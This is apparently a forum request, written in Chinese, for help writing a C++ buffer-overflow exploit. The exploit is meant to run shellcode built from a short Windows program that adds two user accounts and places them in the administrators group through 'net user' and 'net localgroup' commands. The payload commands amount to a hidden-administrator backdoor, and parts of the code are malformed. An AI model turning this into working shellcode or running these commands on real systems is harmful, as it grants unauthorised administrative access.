关于 基于C++的缓冲区溢出
要求写个程序,溢出后执行char shellcode[]变量中的机器码如0x00/0x0eAPI如下,用途是添加账户,用VC软件求出如下API的机器码shellcode:
#include <windows.h>
int main()
{
loadlibrary("msvcrt.dll");
system("net user ShellCode fuckSanguosha /add");
system("net user explolit fuckTencent /add");
system("net localgroup administrators ShellCode");
system("net localgroup administrators explolit");
return 0;
}
要求:用C++生成explolit.exe和explolit.cpp,在源码中加入注释,否则我看不懂。